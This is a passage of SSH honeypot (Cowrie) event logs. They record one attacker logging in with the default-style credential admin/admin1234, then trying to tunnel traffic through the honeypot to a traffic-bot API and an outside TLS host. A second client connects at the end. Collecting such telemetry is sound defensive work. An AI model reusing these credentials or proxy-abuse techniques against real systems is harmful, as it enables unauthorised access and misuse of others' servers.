x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:41.774716Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61279,"dst_ip":"10.17.0.5","dst_port":22,"session":"a779adf5bd7b","protocol":"ssh","message":"New connection: 123.27.168.40:61279 (10.17.0.5:22) [session: a779adf5bd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:42.061726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:42.066349Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:42.305392Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:43.415864Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:43.771040Z","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:43.879172Z","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.002747Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JmNSL28xJi9jT0Q4PnFsdw%3D%3DoYUSr8KRMqHLvimxgbaXUAUiIi8lUKzVb%2FcjnKQuy2%2B4HCkQg92zAHYf9VxY8r0mttJGnzaVI3FHsQYse4WCUZmvOS8eVPR7tOVomExZPko9Nu1RhcrMxhVjqVeLRYV9FqrJaLfRq1uxtGQAPHJU3IYWNU8MQqcWBEyDDGCixhGq4%2BS3r7bQaUJqpGU7yFclmaIzDSsrbdA6yoPDDOBEKZNo7a3hp0vkqJJl3nX4BXweNVM6IrDgHRh%2BVWJ7Cl60kJHJnx6bY7E%2BvP7bo6%2BUa7kG9Q9SoHMPudYCi72hGIO9nyBXcHt48Gn1SgnOpiOj4QLuUQfc5N%2Fnf8GhZYJMyg4wBRpB8CysUjqDQb8Z3L6ZxMtAzMHCwiLjDL9r60P7VvyFNfdNY4g%2BMKFX%2FjuDqoOXeUZaJ5Z4DQPkpMDgG9PT67r%2FZqiG6b%2BrWiEjl%2BcH2itVdIqS3K5pzGnG0SerYt4NbfdZrck46%2BXwH0GUm6ClL0Et0amHYr%2FwVrmWSGOGwL2fQWp15RwWO8ViMnrzNugj8QKNMVBCvK%2Bsxga5Wxny4540bs20Ts2%2BE%2BQEtAro8cLcmD8i8rEfCc4nxr9HPZkuPgD08NJ%2FaQX4Qrl2pNFtQldXaI50Xl8C8uDKxWQBnHdUCF1sqDlcWU1LogkqgLrjEatl02EsZTxEe2ou3evSAxJEP9a1WAoMXxUBBucKpVPYKc8T1%2B1ajTGLQKdyngJGuPrDnn0qfKyMGupjWyWtmpIUQgJAsOWWCF6lUwYyGcO9uzOek%2Flmbz44KEMpkM9FYlppGcegBUWLEGM4HqVxMj%2BsgWUNQ1TmslrYWZASbFD4LeEhiNFMK1%2FDqI6E2nBp8LCaN7Tv%2BJRQsOVUkIydkX8bJdeaptGOjfCzxCvMAkCFTjYdrn%2Bc1IXhJZkDX9se%2Fg71J9nBHmkdweFrWG3K5XwSSxQLoU0UMPFysi3qZ9Tf9f5ekL7E95HcurnqLSQKTyP%2FhkJXuJsjzuAxOLBhH5rY6yNH1IDQwkk5ElqsUXXZF9vZOT7Sl0P9FqH%2BVuQ1rqCTLfRvMUNQD7NwDX0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.93 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JmNSL28xJi9jT0Q4PnFsdw%3D%3DoYUSr8KRMqHLvimxgbaXUAUiIi8lUKzVb%2FcjnKQuy2%2B4HCkQg92zAHYf9VxY8r0mttJGnzaVI3FHsQYse4WCUZmvOS8eVPR7tOVomExZPko9Nu1RhcrMxhVjqVeLRYV9FqrJaLfRq1uxtGQAPHJU3IYWNU8MQqcWBEyDDGCixhGq4%2BS3r7bQaUJqpGU7yFclmaIzDSsrbdA6yoPDDOBEKZNo7a3hp0vkqJJl3nX4BXweNVM6IrDgHRh%2BVWJ7Cl60kJHJnx6bY7E%2BvP7bo6%2BUa7kG9Q9SoHMPudYCi72hGIO9nyBXcHt48Gn1SgnOpiOj4QLuUQfc5N%2Fnf8GhZYJMyg4wBRpB8CysUjqDQb8Z3L6ZxMtAzMHCwiLjDL9r60P7VvyFNfdNY4g%2BMKFX%2FjuDqoOXeUZaJ5Z4DQPkpMDgG9PT67r%2FZqiG6b%2BrWiEjl%2BcH2itVdIqS3K5pzGnG0SerYt4NbfdZrck46%2BXwH0GUm6ClL0Et0amHYr%2FwVrmWSGOGwL2fQWp15RwWO8ViMnrzNugj8QKNMVBCvK%2Bsxga5Wxny4540bs20Ts2%2BE%2BQEtAro8cLcmD8i8rEfCc4nxr9HPZkuPgD08NJ%2FaQX4Qrl2pNFtQldXaI50Xl8C8uDKxWQBnHdUCF1sqDlcWU1LogkqgLrjEatl02EsZTxEe2ou3evSAxJEP9a1WAoMXxUBBucKpVPYKc8T1%2B1ajTGLQKdyngJGuPrDnn0qfKyMGupjWyWtmpIUQgJAsOWWCF6lUwYyGcO9uzOek%2Flmbz44KEMpkM9FYlppGcegBUWLEGM4HqVxMj%2BsgWUNQ1TmslrYWZASbFD4LeEhiNFMK1%2FDqI6E2nBp8LCaN7Tv%2BJRQsOVUkIydkX8bJdeaptGOjfCzxCvMAkCFTjYdrn%2Bc1IXhJZkDX9se%2Fg71J9nBHmkdweFrWG3K5XwSSxQLoU0UMPFysi3qZ9Tf9f5ekL7E95HcurnqLSQKTyP%2FhkJXuJsjzuAxOLBhH5rY6yNH1IDQwkk5ElqsUXXZF9vZOT7Sl0P9FqH%2BVuQ1rqCTLfRvMUNQD7NwDX0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.006404Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.229012Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8\\xd5\\xde\\xd7\\xe0c9\\xb6\\x9b\\x8darT\\x10\\xb8\\xa0\\x18Y&e\\xdd\\xf1c\\xfb\\xe8\\x03\\xbcty\\x02\\x10\\x89 \\xca\\x8e\\x7f\\x00\\xfc\\x9d]\\x81\\x1f^y\\x8a\\x95\\x92NV\\x84\\x0b\\xbf{;\\x1bnk\\xf2I\\x8a\\xf0\\xb2\\xdc\\xb1\\xaa\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 E\\x00\\xc2\"\\x0b\\xbbj\\xc7\\xb1\\xadd\\x81 \\xe3\\x86\\xa9\\xe6\\x92\\xb7\\xa4\\xd2\\x12\\xac\\x045\\xd5<\\xf0\\xabd\\xe8^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe8\\xd5\\xde\\xd7\\xe0c9\\xb6\\x9b\\x8darT\\x10\\xb8\\xa0\\x18Y&e\\xdd\\xf1c\\xfb\\xe8\\x03\\xbcty\\x02\\x10\\x89 \\xca\\x8e\\x7f\\x00\\xfc\\x9d]\\x81\\x1f^y\\x8a\\x95\\x92NV\\x84\\x0b\\xbf{;\\x1bnk\\xf2I\\x8a\\xf0\\xb2\\xdc\\xb1\\xaa\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 E\\x00\\xc2\"\\x0b\\xbbj\\xc7\\xb1\\xadd\\x81 \\xe3\\x86\\xa9\\xe6\\x92\\xb7\\xa4\\xd2\\x12\\xac\\x045\\xd5<\\xf0\\xabd\\xe8^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.231758Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.681771Z","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.911906Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03E\\xa7;`\\xde\\x91=\\xaa\\xf0\\xd60\\x10~\\xc1\\xf2\\xf4\\xf6\\xfe\\xec\\xa5\\nw\\xbc9X\\xd8\\x0f\\xe1\\x1b\\xe1\\xb3\\xad E\\x8e\\xb4\\xfb~\\xdb\\xd5\\xd5s|1\\xd7\\x88&\\x869;\\xa3\\x15#\\xf1\\t\\xe9\\x1f\\xd7$\\xbcI\\xb6\\xb2\\t\\xe8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\xc72+\\x10\\x91))d\\x1f\\x0b\\x90\\x97:\\x08`\\xf8r \\x94n\\xf5O\\xf0\\xc2\\xe3\\xa5\\xf7o\\xa0\\xdc\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03E\\xa7;`\\xde\\x91=\\xaa\\xf0\\xd60\\x10~\\xc1\\xf2\\xf4\\xf6\\xfe\\xec\\xa5\\nw\\xbc9X\\xd8\\x0f\\xe1\\x1b\\xe1\\xb3\\xad E\\x8e\\xb4\\xfb~\\xdb\\xd5\\xd5s|1\\xd7\\x88&\\x869;\\xa3\\x15#\\xf1\\t\\xe9\\x1f\\xd7$\\xbcI\\xb6\\xb2\\t\\xe8\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\xc72+\\x10\\x91))d\\x1f\\x0b\\x90\\x97:\\x08`\\xf8r \\x94n\\xf5O\\xf0\\xc2\\xe3\\xa5\\xf7o\\xa0\\xdc\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:44.915998Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:45.277377Z","src_ip":"123.27.168.40","session":"a779adf5bd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.1","message":"Connection lost after 21.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:46.211034Z","src_ip":"23.175.50.52","session":"f2c83ba79b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41292,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf99e0f7694e","protocol":"ssh","message":"New connection: 103.77.242.62:41292 (10.17.0.5:22) [session: bf99e0f7694e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:49.571258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:37:49.576263Z","src_ip":"103.77.242.62","session":"bf99e0f7694e","protocol":"ssh"}
